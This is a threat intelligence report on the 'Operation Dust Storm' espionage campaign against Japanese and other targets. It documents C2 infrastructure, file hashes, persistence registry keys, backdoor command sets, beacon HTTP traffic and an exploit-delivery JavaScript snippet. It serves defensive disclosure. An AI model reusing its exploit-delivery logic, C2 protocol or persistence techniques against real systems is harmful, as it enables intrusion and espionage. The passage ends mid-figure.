By Jon Gross and
the Cylance SPEAR™ Team

CYLANCE

TABLE OF CONTENTS

"Nothing strengthens authority so much as silence."

-Leonardo da Vinci

EXECUTIVE SUMMARY

Cylance SPEAR has uncovered a long-standing persistent threat targeting numerous major industries spread across Japan, South Korea, the United States, Europe, and several other Southeast Asian countries.

POWER COMES IN MANY FORMS

Our research indicates Operation Dust Storm has been operational since at least early 2010, and has employed a number of different operational techniques, including spear phishing, waterholes, and zero-day exploits over time. Several antivirus companies initially detected early backdoor samples under the moniker Misdat, but the group has quietly evolved over the years to remain undetected and highly effective.

Attack telemetry in 2015 indicates the Dust Storm group has migrated from more traditional government and defense-related intelligence targets to exclusively seek out organizations involved in Japanese critical infrastructure and resources.

The group recently compromised a wide breadth of victims across the following industry verticals: **electricity generation, oil and natural gas, finance, transportation, and construction**. SPEAR's current research indicates the group's present focus has shifted to specifically and exclusively target Japanese companies or Japanese subdivisions of larger foreign organizations.

THE EARLY DAYS: SPEAR PHISHING

The earliest indications of the group's activities stem from the compile times of the executable resource section of Misdat samples. All of the early backdoor samples were compiled using a version of Delphi which notoriously mangles the compilation timestamp of the file to June 19, 1992 22:22:17 UTC. By using the executable resource section timestamp, SPEAR was able to more accurately gauge the actual compile times of these samples, and traced one of them, "bc3b36474c24edca4f063161b25bfe0c90b378b9c19c", to January 2010.[1]

[1] During analysis of older command and control infrastructure, there were several domains that resolved to known malicious IP addresses in September 2009. However, SPEAR was not able to corroborate these dates in any known malware samples.

Very little public information was available throughout 2010 on this threat, despite the group's primary backdoor gaining some level of prominence in targeted Asian attacks. This may be explained by the group's early reliance on Dynamic DNS domains for their command and control (C2) infrastructure, as well as their use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants. The actors relied heavily on the free Dynamic DNS providers No-IP (http://www.noip.com), Oray (http://www.oray.com/) and 3322 (http://www.pubyun.com/) for their infrastructure continuing into 2011; the earliest known backdoors SPEAR identified communicated to "323332.3322.org" and "1stone.zapto.org".

It wasn't until June 2011 that Operation Dust Storm started to garner some notoriety from a series of attacks which leveraged an unpatched Internet Explorer 8 vulnerability, CVE-2011-1255, to gain a foothold into victim networks. In these attacks, a link to the exploit was sent via a spear phishing email from a purported Chinese student seeking advice or asking the target a question following a presentation. Media coverage of these attacks included "http://www.symantec.com/connect/blogs/inside-back-door-attack,"[2] and "http://asec.ahnlab.com/730" which named the early backdoor variants "Misdat".

The secondary C2 server from Symantec's writeup was mentioned in news reports elsewhere as "honeywells.tk"; this domain resolved to "111.1.1.66" during early June 2011. This address is coincidentally the same IP address that one of the earliest Misdat samples that SPEAR identified beaconed to during the same timeframe.

A paper published in August 2011 by Ned Moran via Usenix (https://www.usenix.org/system/files/login/articles/105484-Moran.pdf) described in detail an attack by this threat group during April 2011. The attack was initiated by a spear phishing email that contained a Word document embedded with a zero-day Flash exploit (CVE-2011-0611). The final payload described in the report matched other confirmed Misdat samples, and beaconed to "msejake.7766.org", which first resolved to "125.46.42.221", then later to "218.106.246.220" at the time of the attack.

As to other documented cases, the attacker started interacting with the infected machine within minutes of compromise to begin manual network and host enumeration.

In October 2011, the group attempted to take advantage of the ongoing Libyan crisis at the time and phish the news cycle regarding Muammar Gaddafi's death on October 20, 2011. It appears that in addition to some US defense targets, this campaign was also directed at a Uyghur mailing list. This time, the group used a specially crafted malicious Windows Help (.hlp) file, which exploited CVE-2010-1885. The hlp files, when opened, would execute a piece of JavaScript code via "mshta.exe", which in turn launched a second piece of Visual Basic Script using the Windows scripting host. This secondary piece of VBS code was then responsible for decoding the payload from the body of the hlp file and executing it.

The first stage payloads used in these attacks were Misdat variants stored base64 encoded within the hlp file. The samples SPEAR identified both communicated to the domain "msevpn.3322.org", which resolved to the IP address "218.106.246.195" at that time. Pivoting off of this IP address yielded several additional dynamic DNS domains that were used for command and control, as well as several standard domains that were used by the group from May 2010 up until December 2015.

Registration Email Address	Domain Name	Date First Registered
wkymyx (at) 126.com	amazonwikis.com	April 21, 2010
wkymyx (at) 126.com	sfcorporation.com	May 5, 2010
wkymyx (at) 126.com	adobeus.com	June 8, 2011
duomanmvp (at) 126.com	adobekr.com	May 30, 2010
duomanmvp (at) 126.com	moviestops.com	June 7, 2011
duomanmvp (at) 126.com	moviestops.com	December 17, 2012

Figure 1: Domain Registrations for 2010-2011

[2] The Symantec article incorrectly states that the Gh0st RAT protocol utilizes SSL, when in fact, it uses Zlib compression.

Early infrastructure for the 2010-2011 timeframe used by the group relied heavily on two email addresses, "wkymyx (at) 126.com" and "duomanmvp (at) 126.com", for domain registration.

The attackers typically used either seemingly random four-character subdomains or common words like image, blog, ssl, pic, mail, news, etc. There was also evidence to suggest this group attempted to gather user credentials for Yahoo, Windows Live and other accounts through several different phishing domains during July and August 2011.

While SPEAR was unable to recover the original pages served, the domains these pages were hosted on are: "login.live.adobekr.com", "login.live.wih365.com", and "yahoomail.adobeus.com". Individual IP address resolutions for each of the domains were generally short-lived, with none of them lasting more than a month.

IDENTITY CRISIS: ZERO-DAY ATTACKS

SPEAR identified another Operation Dust Storm campaign in June 2012 that leveraged both CVE-2011-0611, a Flash exploit the group had used previously, and CVE-2012-1889, an Internet Explorer zero-day. The attackers used the domain "mail.glkjcorp.com" to deliver the exploits, and the domain was hosted on the IP address "114.108.150.38" at the time of the attack. SPEAR was unable to definitively tie this particular exploit site to a watering hole or phishing campaign, however, numerous other CN-APT operators leveraged the Internet Explorer zero-day during the same period using both techniques. The exploit domain "glkjcorp.com" was registered shortly before the attack on May 24, 2012. Two different emails were used in the registration of this domain: "effort09 (at) hotmail.com" and "zaizhong16 (at) 126.com".

This attack was the first to use the file "DeployJava.js" to fingerprint installed software on victim systems prior to delivery and ensure a known effective exploit was deployed. This JavaScript file was first used and documented by Ahnlab a month earlier in the Gong Da Exploit Kit: http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&seq=19418. The "DeployJava.js" worked in conjunction with another script embedded in the exploit page, to deliver the Flash exploit if the version of IE was 8 or 9 or deliver the IE zero-day if the version of IE was 6 or 7.

```
if (((i9> -1) ||(i8> -1))&&w7>-1&&ja){
flash.Movie = vars;
}
else if((i8>-1)&&(xp>-1)){
flash.Movie = vars;
}
else if((i6>-1||i7>-1)&&(xp>-1)){
document.body.innerHTML+="<object classid=\"clsid:D27CDB6E-AE6D-11cf-9
6B8-444553540000\" width=\"100%\" height=\"100%\" id=\"ki\"><param name=\"mov-
ie\" value=\""+vars+"\" /><param name=\"quality\" value=\"high\" /><param
name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" val-
ue=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /><\/ob-
ject>";
setTimeout("document.body.innerHTML+=\"<iframe src=faq.htm width=200
height=200><\/iframe>\"",2000);
}
```

Figure 2: JavaScript Snippet for Exploit Delivery Choice

The "DeployJava.js" script was used extensively by other APT groups throughout 2012 and 2013, including Nitro in August of the same year.

```
hxxp://114.142.147.53/deployJava.js
hxxp://59.120.59.2/eng/img/deployJava.js
hxxp://67.192.225.83/us/deployJava.js
hxxp://98.129.119.156/CFIDE/debug/includes/deployJava.js
hxxp://gifas.cechire.com/fr/deployJava.js
hxxp://goddess.nexon.com.au/inc/deployJava.js
hxxp://java.ree.pl/meeting/deployJava.js
hxxp://jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js
hxxp://naedco.com/img/common/t/deployJava.js
hxxp://songwol.co.kr/employee/deployJava.js
hxxp://spacexmt.spacedevcoop.com/checkplayer/deployJava.js
hxxp://tavis.tw/tmp/deployJava.js
hxxp://www.jcsh-web.com.cn/admin/inc/conn/deployjava.js
hxxp://www.jcsh-web.com.cn/ADMIN/inc/conn/deployJava.js
hxxp://www.toisengyo.jp/24/11/deployjava.js
```

Figure 3: Other Later Targeted Attacks Leveraging DeployJava.js

Also of note in this attack: the final payload (hxxp://mail.glkjcorp.com/pic/win.exe) was delivered encoded with a single-byte XOR against the byte 0x95, skipping both the key itself and zero in an attempt to avoid exposing the key. This method of obfuscation at the time would have ensured delivery of the payload past most IDS/IPS systems. The unencoded payload was a hybrid of the older Misdat backdoor and its next generation, the S-Type backdoor. The backdoor would first attempt to use the old Misdat network protocol and communicate to "smtp.adobekr.com". If that failed, it would fallback to the newer HTTP-based S-Type protocol which communicated with "mail.glkcorp.com".

The group completely abandoned older incarnations of the Misdat backdoor for their first stage implants in 2013, and moved predominantly to the new S-Type backdoors. A full analysis of both of these backdoors is included in the "Implant Analysis" section.

INTO THE FUTURE: JAPANESE TARGETS

SPEAR noticed a fairly large lull in activity from March 2013 to August 2013. Coincidentally (or perhaps not), Mandiant released their APT 1 report on February 19, 2013 (https://www.fireeye.com/blog/threat-research/2013/02/mandiant-exposes-apt1-chinas-cyber-espionage-units.html). Activity didn't cease entirely, but the volume of malware SPEAR was able to collect during this period was remarkably decreased.

Several new domains were registered during this time period, which would go on to become the crux of the group's operations for the next several years.

There was some anecdotal evidence to suggest Operation Dust Storm leveraged an Ichitaro zero-day "CVE-2013-5990" to target Japanese victims. This zero-day was first reported publicly on November 12, 2013. Ichitaro is a popular Japanese word processing program designed by a company called JustSystems. While SPEAR was unable to find the exact sample that delivered a Misdat payload, our team analyzed numerous other related samples. The backdoors were encoded within the exploit documents using a very familiar method of XOR'ing skipping zero bytes and the key itself; only this time the key used for encoding was 0x85.

Throughout 2013, the other incidents SPEAR identified all deployed the S-Type backdoor exclusively. This year also marked an epoch in terms of relying on dual persistence locations in case the victim had lower permissions and couldn't perform certain actions like writing to the registry or certain file locations. Older techniques like using the "Startup" folder made a resurgence during this time period.

Beginning in February 2014, there was definitive evidence to suggest the group used a watering hole attack on a popular software reseller to deliver an Internet Explorer zero-day, CVE-2014-0322, to a number of unsuspecting targets. The exploit itself was hosted on "hxxp://krtzkj.bz.tao123.biz/error/pic.html", which at the time of the attack resolved to "126.85.184.190". During this same time period, the domain "js.amazonwikis.com" also pointed to this IP address and was used in previous attacks that relied on web-based exploits. The intermediate payload "Erido.jpg" was an XOR encoded executable common to other CVE-2014-0322 attacks, which ultimately delivered a variant of the S-Type backdoor to the victim.

Operation Dust Storm also began to branch out in 2014 into establishing and finding alternative means of persistence on victim systems. SPEAR identified several second-stage samples that needed to be installed as a ServiceDLL in order to work properly, as well as one that functioned as a router manager for the normal Routing and Remote Access Service. Doing a simple search for this registry key, "HKLM\System\CurrentControlSet\Services\RemoteAccess\RouterManagers\IP\DllPath" yielded numerous other pieces of malware; however, SPEAR was only able to identify one of the group's samples that took advantage of this. Several new domains were also registered in 2014 to support expanding operations.

Registration Email Address	Domain Name	Date First Registered
newsq13 (at) hotmail.com	tomshardpc.com	March 27, 2013
newsq13 (at) hotmail.com	wordoscorp.com	March 27, 2013
houqiangliuliu (at) 163.com	projectscorp.net	October 9, 2013
wantsamsung (at) 21cn.com	elecarrow.com	October 9, 2013

Figure 4: New C2 Domains Registered in 2013

Registration Email Address	Domain Name	Date First Registered
ysymsq (at) 126.com	hkabinc.com	March 26, 2014
myexmail (at) aol.com	exemail.com	March 26, 2014
myexmail (at) aol.com	sslmails.com	March 6, 2015

Figure 5: C2 Domains Registered in 2014 and 2015

HERE AND NOW: COMPANIES COMPROMISED

Activity in 2015 was significantly more interesting, and prompted SPEAR to begin studying Operation Dust Storm's other activities. SPEAR identified a number of second-stage backdoors with hardcoded proxy addresses and credentials. These proxy addresses revealed the attacker had compromised a number of Japanese companies involved in **power generation, oil and natural gas, construction, finance, and transportation.**

In one case that transpired in early February 2015, SPEAR was able to recover the second-stage implant delivered by a variant of the S-Type backdoor shortly following its initial reconnaissance. What caught our attention was the fact that the victim was part of the investment arm of a major Japanese automaker. The attack came just two weeks before eleven unions representing Japan's autoworkers demanded a monthly raise of six thousand yen. (http://www.bloomberg.com/news/articles/2015-02-18/japan-auto-workers-seek-pay-raise-to-share-in-record-car-profits)

The second-stage implants were also programmed and compiled using Microsoft Visual Studio 6, an archaic version of Visual Studio that seems to be preferred by malware authors. Despite using an old version of Visual

Studio, the backdoor is well designed by comparison and provides a full suite of functionality to the attacker.

No antivirus vendors seem to reliably detect most of the variants SPEAR identified.

Perhaps even more interesting was the fact that the group adopted and eventually customized several Android backdoors to suit their purposes in the beginning of 2015. The group rapidly expanded their mobile operations in May 2015. The initial backdoors were relatively simple, and would continually forward all SMS messages and call information back to the C2 servers. Later variants became much more complex, and included the ability to enumerate and exfiltrate specific files directly from the infected devices.

All of the identified victims for the Android Trojans resided in Japan or South Korea. The infrastructure to support the Android campaigns was massive in comparison to previous operations. More than two hundred domains have been identified to date. SPEAR plans to release more information regarding this threat shortly.

SPEAR discovered two more waves of attacks that started in July 2015 and October 2015. Interestingly, one of the primary targets was a Japanese subsidiary of a South Korean electric utility. Similarly, SPEAR identified a separate intrusion into a major Japanese oil and gas company. The exact motivations for this particular attack were unclear; however, if this attack coincided with all previous operations, the most likely goals were reconnaissance and long-term espionage.

CONCLUSION

At this time, SPEAR does not believe the attacks were meant to be destructive or disruptive. However, our team believes that attacks of this nature on companies involved in Japanese critical infrastructure and resources are ongoing and are likely to continue to escalate in the future.

It's clear from SPEAR's research that Operation Dust Storm has slowly evolved over time to become increasingly effective. Early operations were extremely blunt, relatively unsophisticated, and readily picked up by the security industry. As the group became more and more focused on Japan, less and less of their tactics and malware appeared in reports or write-ups. The targets identified escalated both in size and in the scope of affected industries.

As a result, SPEAR felt obligated to share with the community and public what was discovered recently, to hopefully stunt the attackers' progress for a time. SPEAR has been closely following the aftermath of public reporting. We have decided that even though disclosure often forces attackers to change, it also enables defenders to better detect and expel "real" threats from their environments.

SPEAR would like to thank the Japanese Computer Emergency Response Team (JP-CERT) for their cooperation, assistance, and time during our investigation.

NOTE: *A large number of the older Misdat domains were sinkholed by a private entity in late December 2015. The domains currently point to the IP address "58.158.177.102". If anyone has more information or knows who operates this sinkhole, please contact us at: threat-intel [at] cylance [dot] com.*

IMPLANT ANALYSIS

MISDAT BACKDOOR (2010–2011)

Most early samples of Misdat were not packed; however, following what appeared to be heightened awareness by security vendors, samples in late 2010 and 2011 were typically packed with the executable packer, UPX version 3.03 (hxxp://upx.sourceforge.net/). All of the Misdat samples SPEAR identified were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file; as a result, SPEAR was forced to use the resource compile times of samples to get a better idea of when the actual backdoors were compiled.

FILE CHARACTERISTICS

SHA256	File Size	Resource Compile Time
63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c	67,584 Bytes	01-12-2010 19:09:38 UTC
74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42	44,544 Bytes	07-07-2010 19:16:28 UTC
38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6	22,016 Bytes	07-07-2010 19:16:28 UTC
2978c6cfff1754c85a4a22b6a72dc9e60b-596b54e65ed5ab2c80b8bc259ca5dc	22,016 Bytes	08-16-2011 00:27:02 UTC
580c7ed2b624a0dfa749909d3e110704 65bd310663d30fb6fe3532ad45d57b8a	43,008 Bytes	08-16-2011 00:27:02 UTC
861edc857e53ff072947c2befc3c372c9 a954a7de5c48c53b99c64ff99b69dbd	43,008 Bytes	08-16-2011 00:27:02 UTC
4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876	23,040 bytes	10-21-2011 20:05:48 UTC

File characteristics and resource compile times of known Misdat samples.

HOST-BASED INDICATORS

Volatile Evidence:

- Will create a 32-bit Mutex based upon the MD5 hash of a unique string comprising the volume serial number, decrypted network configuration data, and encoded campaign identifier

File System Modifications:

- The backdoor will copy itself to %CommonFiles%\{Unique Identifier}\msdtc.exe
- It may attempt to open then delete the file C:\2.hiv, c:\t2svzmp.kbp, or c:\tmp.kbm depending on the sample. Later versions from 2011 all used c:\t2svzmp.kbp

Registry Modifications:

- The malware may create the registry key HKCU\Software\dnimtsoleht\StubPath, HKCU\Software\snimtsOleht\StubPath, or HKCU\Software\Backtsaleht\StubPath for persistence
- In SPEAR's tests, StubPath always pointed to the newly created msdtc.exe binary within the %CommonFiles% directory, with either the "/ok" or "/start" switch depending on the sample
- May create the Registry Key HKLM\SOFTWARE\Microsoft\Active Setup\Installed. Components\{3bf41072-b2b1-21c8-b5c1-bd56d32fbda7} or HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3ef41072-a2f1-21c8-c5c1-70c2c3bc7905}

NETWORK-BASED INDICATORS

Observed network traffic was always base64 encoded plain text over a raw socket to common ports like 80, 443, or 1433. A sample initial beacon packet is shown below.

```
logon|{Hostname}|Windows XP|100112|bd56d32fbda703a98c87689c92325d90|
```

Figure 6: Initial Beacon Packet Base64 Decoded

The string "logon" always preceded any other information. In the instance above, the hostname of the victim's system, operating system version, unique sample identifier (SPEAR believes this is a date: 1/12/2010), as well as the unique MD5 used for the mutex were sent to the server. Once it registers with the C2, the backdoor sends the string "YWN0aXZlfA==" which decodes to "active|". The backdoor will then continue to send that string and wait until it receives one of the following commands from the C2 server:

Command	Function
shell	Initiates a new connection that provides shell functionality to the attacker to execute commands. Subcommands include shellstart, command and stop.
files	Initiates a new connection that provides file management and enumeration capabilities to the attacker. Subcommands include filelist, dirlist, driver (enumerates logical drives), renamefile, delete, run, open and stop.
upload	Provides the ability to upload files directly to the C2.
down	Provides the ability to download files from the C2.
restart	Restarts the victim system through a call to the Windows API ExitWindowsEx.
closeos	Shuts down the system via ExitWindowsEx API.
dclose	Closes the socket connection to the C2.
uclose	Appears to do the same as the dclose command.
unintall	Deletes the Active Setup registry key and deletes the backdoor before terminating the process.

Figure 7: Network Commands Supported by the Misdat Backdoor

DETAILS

The backdoors were relatively simple and provided the attacker the ability to upload and download files, manipulate and enumerate files, execute shell commands, disconnect from the C2, uninstall the backdoor, and shutdown or restart the system. The backdoors could also potentially take the command line parameters "/ok" or "/start"; the switches changed the user context under which the process runs. If no switch was provided when executed, the backdoor will copy itself to "%CommonFiles%\{Unique Identifier}\msdtc.exe", where the unique identifier is the first ten characters of the MD5 hash used as the mutex. It will then configure one of the Active Setup and associated registry keys above to establish persistence on the system.

SPEAR identified and reversed the encoding mechanism used for obfuscating network callback information and what appeared to be a unique campaign identifier. The following script can be used to decode these obfuscated strings.

```
def decode_chars(a, b):
    return chr((26 * (ord(a) - ord('A'))) + (ord(b) - ord('A')))

def decode(s):
      rolling_key = 0x783
      result = ""
      for index in xrange(len(s)/2):
            result += decode_chars(s[index * 2], s[(index * 2) + 1])
      real_result = ""
      for index in xrange(len(result)):
            i = index + 1
            real_result += chr(((rolling_key >> 8) & 0xff) ^ ord(result[i - 1]))
            rolling_key = 0xdbd9 * (ord(decode_chars(s[index * 2], s[(index *
2) + 1])) + rolling_key) + 0xda3b
      return real_result
```

Figure 8: Python Script for Decoding Obfuscated Misdat Strings

FILE CHARACTERISTICS

SHA256	Campaign ID	Network Callback
63bd3f80387e3f2c7130bc3b36474c24 edca4f063161b25bfe0c90b378b9c19c	WNA	Domain: 323332.3322.org Ports: 80, 443, 1433
74ff3b246fde30bb3c14483279d4b003 12038957e3956bf8682362044ddccf42	XSI	Domain: 323332.3322.org Ports: 80,443, 1433
38238f14d63d14075824cc9afd9a3b84 df9b9c2f1408ac440458196a9e690db6	UAL	Domain: msejake.7766.org Ports: 80, 443, 1433
2978c6cfff1754c85a4a22b6a72dc9e6 0b596b54e65ed5ab2c80b8bc259ca5dc	QPO	Domain: msevpn.3322.org Ports: 80, 443, 8080
580c7ed2b624a0dfa749909d3e1107046 5bd310663d30fb6fe3532ad45d57b8a	QPO	Domain: msevpn.3322.org Ports: 80, 443, 8080
861edc857e53ff072947c2befc3c372c9a 954a7de5c48c53b99c64ff99b69dbd	QPO	Domain: msevpn.3322.org Ports: 80, 443, 8080
4241a9371023e7452475117ff1fcd672 62dab56bf1943b5e0c73ff2b2e41f876	YAM	Domain: msevpn.3322.org Ports: 80, 443, 8080

Figure 9: Decoded Campaign Identifiers and Network Callback Information

Also of interest was the fact that all of the samples would attempt to detect whether or not the victim was using a Japanese keyboard via a call to the Windows API "GetKeyboardType" and report that fact back to the attacker.

MIS-TYPE HYBRID BACKDOOR (2012)

In 2012, Operation Dust Storm slowly migrated to a hybridized backdoor, which actually contained two entirely separate backdoors within the same binary. This backdoor would first attempt to establish an interactive shell using the Misdat base64 encoded network protocol over a raw TCP socket. If the initial communication to the first C2 failed, the backdoor would fallback to a secondary HTTP-based protocol and communicate to an alternate C2. Hybrid variants SPEAR identified were compressed with UPX version 3.03.

FILE CHARACTERISTICS

SHA256	File Size	Resource Compile Time
b1aed59dc59a4ef4c7d2b6e67983e4867e04ba35c42372eb3b6ad969bd6a6041	30,720 Bytes	02-23-2012 14:47:18 UTC
93c1c7a666833f5f68d2315dc014dc6c2446c91c848130e228e84376b0aaf441	30,720 Bytes	06-18-2012 22:39:02 UTC

Figure 10: File Details of the Hybrid Backdoors

HOST-BASED INDICATORS

Volatile Evidence:

- Will create a 32-bit Mutex based upon the MD5 hash of a unique string comprised of the volume serial number, decrypted network configuration data, encoded network configuration data, and encoded campaign identifier
- May create a temporary user on the system named "Lost_{Unique Identifier}" with the password "fuck~!@6"{Unique Identifier}"
- May create the folder %System%\{Unique Identifier} temporarily.
- May create files in %AppData%\{Unique Identifier} that end in "tmp.exe"
- May create the files:
  - %AppData%\{Unique Identifier}\HOSTRURKLSR
  - Contains the results of the command "cmd.exe /c ipconfig /all"
  - %AppData%\{Unique Identifier}\NEWERSSEMP
  - Contains the results of the command "cmd.exe /c net user {Username}"

File System Modifications:

- The backdoor will copy itself to %AppData%\{Unique Identifier}\msdtc.exe – where the unique identifier is the first ten characters of the MD5 hash

Registry Modifications:

- The malware may create the registry key HKCU\Software\bkfouerioyou
  - Creates the value StubPath pointing to %AppData%\{Unique Identifier}\msdtc.exe
- Will create one of these registry keys for persistence:
  - HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{6afa8072-b2b1-31a8-b5c1-{Unique Identifier} – First 12bytes
  - HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3BF41072-B2B1-31A8-B5C1-{Unique Identifier} – First 12bytes

NETWORK-BASED INDICATORS

The malware will make DNS requests for the domains "smtp.adobekr.com" and "mail.glkjcorp.com" or "auto.glkjcorp.com". Both samples were configured to communicate first to "smtp.adobekr.com" using the Misdat network protocol described above over TCP port 80, 443, and 25. If a response was not received from the C2, the samples would fallback to the secondary HTTP protocol and communicate to the alternate C2 using the same TCP ports.


```
POST /index.asp HTTP/1.1
Accept: Accept: */*, /index.asp, mail.glkjcorp.com
Content-Type: application/x-www-form-urlencoded
User-Agent: FirefoxApp
Host: mail.glkjcorp.com
Content-Length: 334
Cache-Control: no-cache

id=e263314342d1f1b9&type=post&stype=info&data=V2luZG93cyBYUA0KTUFMV0FSRS9j-
dWNrb28vQWRta W5pc3RyYXRvcnMNCkNyZWF0ZSBVc2VyIExvc3RfZTI2MzMxI-
FN1Y2N1c3MuDQpDcmVhdGUgRGlyIFN1Y2N1c3 MuDQpXcml0ZSBSZWdLZXkgRX-
Jyb3IuDQpGaWxlU3lzdGVtIDogTlRGUw0KU3lzdGVtIFJ1blRpbWU6MCBkYXkwI
GhvdXJzMTUgbWludXRlcw0KDQoNCiBDb3VudCA9IDANCk9wZW5TY01hbmFnZXIgT0suDQo=
```

Figure 11: Initial S-Type Beacon

The initial POST request always used the static User-Agent "FirefoxApp" and contained operating system information, user information, the results of several permissions tests, the file system, and system uptime. If the backdoor did not receive a response, it would then try to communicate the same base64 encoded information in the URI of a GET request.

```
Windows XP
{Hostname}/{Username}/Administrators
Create User Lost_e26331 Success.
Create Dir Success.
Write RegKey Error.
FileSystem : NTFS
System RunTime:0 day0 hours15 minutes
Count = 0
OpenScManager OK.
```

Figure 12: Contents of the Decoded POST Request from the Figure Above

Follow-on requests used the User-Agent of the default browser on the system as evidenced below.

```
GET /index.asp?mmid=e263314342d1f1b9 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)
Accept-Encoding: gzip, deflate
Host: mail.glkjcorp.com
Connection: Keep-AliveOpenScManager OK.
```

Figure 13: Follow-on HTTP Traffic

The id and mmid fields in the figures above both used the first 16 characters of the unique identifier created for the mutex. The Misdat protocol provided the attacker most of the features of a full-fledged backdoor, while the secondary protocol appeared to primarily be used as an update mechanism to load additional malware on the system.

NETWORK-BASED INDICATORS

DETAILS

The backdoor could be executed with three different switches, "/ok", "/Start", or "/fuck". These switches affected the context under which the process would be run and whether or not the binary would delete itself once executed.

Switch	Descriptive Purpose	Self-Delete
/ok	Executed the malware directly under the current running process using the context of the user that started the application (can be system).	No
/Start	Executed the malware under explorer.exe in the context of whatever user executed the application (can be system). This was the switch used by the malware when setting persistence in the registry.	No
/fuck	Forced execution of the malware under explorer.exe in the context of the user running explorer.exe (scanned active processes and located the explorer process).	No
No	Started the malware in a process called msdtc.exe which ran as an orphaned process under explorer.exe	Yes

Figure 14: Description of Command Line Execution Switches for the Backdoor

The backdoor attempted to run a number of tests to determine the privilege level of the compromised user, including whether or not a user can be added to the system, whether a directory can be created in the %System% folder, and whether the user can access the service manager via a call to "OpenSCManagerA".

The user test was performed by utilizing the NetUserAdd and NetUserDel Windows APIs; the test attempted to create the temporary user "Lost_{Unique Identifier}" with the password "fuck~!@6{Unique Identifier}". If the secondary network protocol was activated, the backdoor would also execute two commands via the command interpreter to gather system information: "cmd.exe /c ipconfig /all" and "cmd.exe /c net user {Username}". It would temporarily write the output of these commands to the files, "%AppData%\{Unique Identifier}\HOSTRURKLSR" and "%AppData%\{Unique Identifier}\NEWERSSEMP" respectively. This information was then base64 encoded and transmitted to the C2 server within the URI of a GET request. The S-Type network protocol is described in greater detail below. Also of note is that the backdoor would continue to attempt to beacon to "smtp.adobekr.com" on port 25 even if communication to the secondary C2 could be established.

The configuration information contained within these backdoors could be decoded using the same script provided in Figure 8.

FILE CHARACTERISTICS

SHA256	Network Callbacks	Identifier
b1aed59dc59a4ef4c7d2b6e67983e4867 e04ba35c42372eb3b6ad969bd6a6041	Primary: smtp.adobekr.com Secondary: hxxp://mail.glkjcorp.com/index.asp TCP Port: 80, 443, 25	HLD
93c1c7a666833f5f68d2315dc014dc6c24 46c91c848130e228e84376b0aaf441	Primary: smtp.adobekr.com Secondary: hxxp://auto.glkjcorp.com/us/index.asp TCP Port: 80, 443, 25	GKB

Figure 15: Secondary C2 Servers and Campaign Identifiers by Sample

S-TYPE BACKDOOR (2013-2014)

After experimenting with a hybrid of the Misdat and S-Type backdoors, in 2013 Operation Dust Storm abandoned the earlier Misdat network protocol entirely. This was likely a direct result of the demonstrated effectiveness of an HTTP-based protocol for command and control, or simply an adaptation to more corporations leveraging web-based proxies. All samples identified were programmed using Borland Delphi and made use of custom classes to implement common backdoor functionality. The majority of samples SPEAR identified in 2013 were packed with UPX version 3.03, while later 2014 variants were not.

FILE CHARACTERISTICS

SHA256	File Size	Resource Compile Time
83399bd0e09b2c2886a58890bbbf6a8d 4e6cd3aa32b091045dd6739c637acfd5	32,768 Bytes	HLD

Figure 16: File Characteristics of the S-Type Backdoor

HOST-BASED INDICATORS

Volatile Evidence:

- May create a mutex named "{Unique Identifier}_KB10B2D1_ClIFD2C"
- May create a temporary user on the system named "Lost_{Unique Identifier}" with the password "pond~!@6"{Unique Identifier}"
- May create the folder %System%\{Unique Identifier} temporarily

File System Modifications:

- The backdoor will copy itself to %CommonFiles%\{Unique Identifier}\msdtc.exe while other observed variants used %Appdata%\{Unique Identifier}\msdtc.exe
- May create the file %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk
  - This shortcut will point to the msdtc.exe file in %CommonFiles% with the "/Start" switch
- May create temporary files in %temp%\{random numbers}.tmp

Registry Modifications:

- Will temporarily create the registry key HKCU\SOFTWARE\AdobeSoft
- May create the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{3 characters of Unique Identifier}
- May create the Registry keys:
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\http
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\https

NETWORK-BASED INDICATORS

The backdoor communicated to "ssl.projectscorp.net" and "pic.elecarrow.com" primarily on port 80; however, communication would also fallback to port 443 or 8080 if initial communication failed. The backdoor used HTTP to communicate with the C2 servers; data was transmitted base64 encoded in the URI of GET requests or sent in the body of a POST request. It used two hardcoded User-Agents, "FirefoxApp" and "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)" in initial requests, as well as the default User-Agent of the system in its later communications.

Example HTTP requests are presented in the figures below.

```
POST hxxp://pic.elecarrow.com:80//Item/2016757.aspx HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)
Host: pic.elecarrow.com:80
Content-Length: 93
Connection: Keep-Alive
Cache-Control: no-cache

POST /pic/index.asp HTTP/1.1
Accept: Accept: */*, /pic/index.asp, ssl.projectscorp.net
Content-Type: application/x-www-form-urlencoded
User-Agent: FirefoxApp
Host: ssl.projectscorp.net
Content-Length: 354
Cache-Control: no-cache

id=E8C465FC&type=post&stype=info&data=VVNFUi1ENjkyMUY2MjE1fFdpbmRvd-
3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTRVIt-
